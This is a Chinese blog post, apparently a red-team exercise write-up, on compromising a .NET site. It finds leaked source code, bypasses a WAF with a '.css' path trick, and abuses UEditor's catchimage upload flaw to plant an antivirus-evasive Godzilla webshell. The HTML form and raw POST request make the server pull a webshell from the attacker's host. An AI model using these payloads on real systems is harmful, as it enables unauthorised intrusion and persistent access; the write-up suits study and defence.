当前位置: 首页 > 技术干货 > 记某次攻防演练:大战UEditor并突破

记某次攻防演练:大战UEditor并突破

发表于:2024-06-28 16:33 作者: fishm4n 阅读数(1462人)

前言

最近参与某次攻防演练,通过前期信息收集,发现某靶标单位存在某域名备案。

image-20240514214308675

通过fofa搜索子域名站点,发现存在一个子域名的61000端口开放着一个后台,于是开始进行渗透。

image-20240514214548286

目录扫描

进行目录扫描吗,发现/bin.rar路径可以访问到一个压缩文件。

image-20240514215942617

使用下载器下载到电脑,打开压缩包,猜测内容为站点源代码,代码为.net形式,使用c#语言编写。

image-20240514220414191

C#代码经过编译后为dll文件形式,根据dll文件命名规则和.net类型代码格式。我们可以初步判定xxx.Application.Web.dll文件中存在主要的后端逻辑代码。

image-20240514221038999

但是dll为二进制文件我们无法直接查看,因此需要使用dnspy进行反编译查看。

查看方法:将dll文件丢入dnspy即可。

image-20240514221649029

UEditor的曲折利用

在源码中发现该系统使用UEditor。

image-20240514222621847

可得UEditor的路径/Utility/UEditor/controller.ashx

image-20240514224050050

访问关键接口/Utility/UEditor/?action=catchimage/Utility/UEditor/?action=config

然而服务器返回403无法访问。

image-20240514224921144

image-20240514225148874

通过Fuzz发现403的原因是有可能是因为waf或者edr的拦截。

使用/Utility/UEditor/.css?action=catchimage可进行bypass,成功访问关键接口。

image-20240514225345566

接下来就是参考UEditor .net版本的任意文件上传漏洞进行上传哥斯拉jsp webshell。

漏洞利用参考链接:

https://www.freebuf.com/vuls/181814.html

image-20240514225544573

上传过程中发现普通哥斯拉jsp webshell上传后就被杀软拦截无法访问。

于是用https://github.com/Tas9er/ByPassGodzilla项目对webshell进行免杀处理。

方可成功上传webshell并进行连接,至此该UEditor站点利用完成,后面就是愉快的打内网。

image-20240514230422817

UEditor的简便利用

传统的UEditor利用都是本地编写一个html文件中包含一个表单,通过提交表单使目标服务器根据提交的图片马地址下载webshell。

<form action="http://xxxxxxxxx/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
 <p>shell addr:<input type="text" name="source[]" /></p >
 <inputtype="submit" value="Submit" />
</form>

原理还是通过http请求发送图片马地址,所以直接在burpsuite发包也可以达到相同的效果,省去制作html文件的步骤。

POST /替换漏洞URL地址拼接/UEditor/controller.ashx?action=catchimage HTTP/1.1
Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

source[]=http://替换为自己服务器开启http服务的URL地址/666.jpg?.aspx

请求发送后,返回包返回webshell路径。

image-20240514231742498

总结

  1. UEditor作为热门常见漏洞,在大型企业集团中的.net老旧系统中非常常见,相关的利用方法以及绕过方法需要非常熟练,方可快人一步迅速拿下权限;

  2. 在渗透测试过程中,我们可能会遇到一些与实验环境或他人分享的情况不同的挑战。这时,我们需要具备排查问题原因的能力。例如,在利用漏洞的过程中,可能会遇到无法上传webshell或请求被WAF拦截等情况。我们需要根据场景,修改payload或使用fuzz等技术进行绕过,直到成功利用漏洞并获取所需的权限,完成渗透。大战UEditor并突破。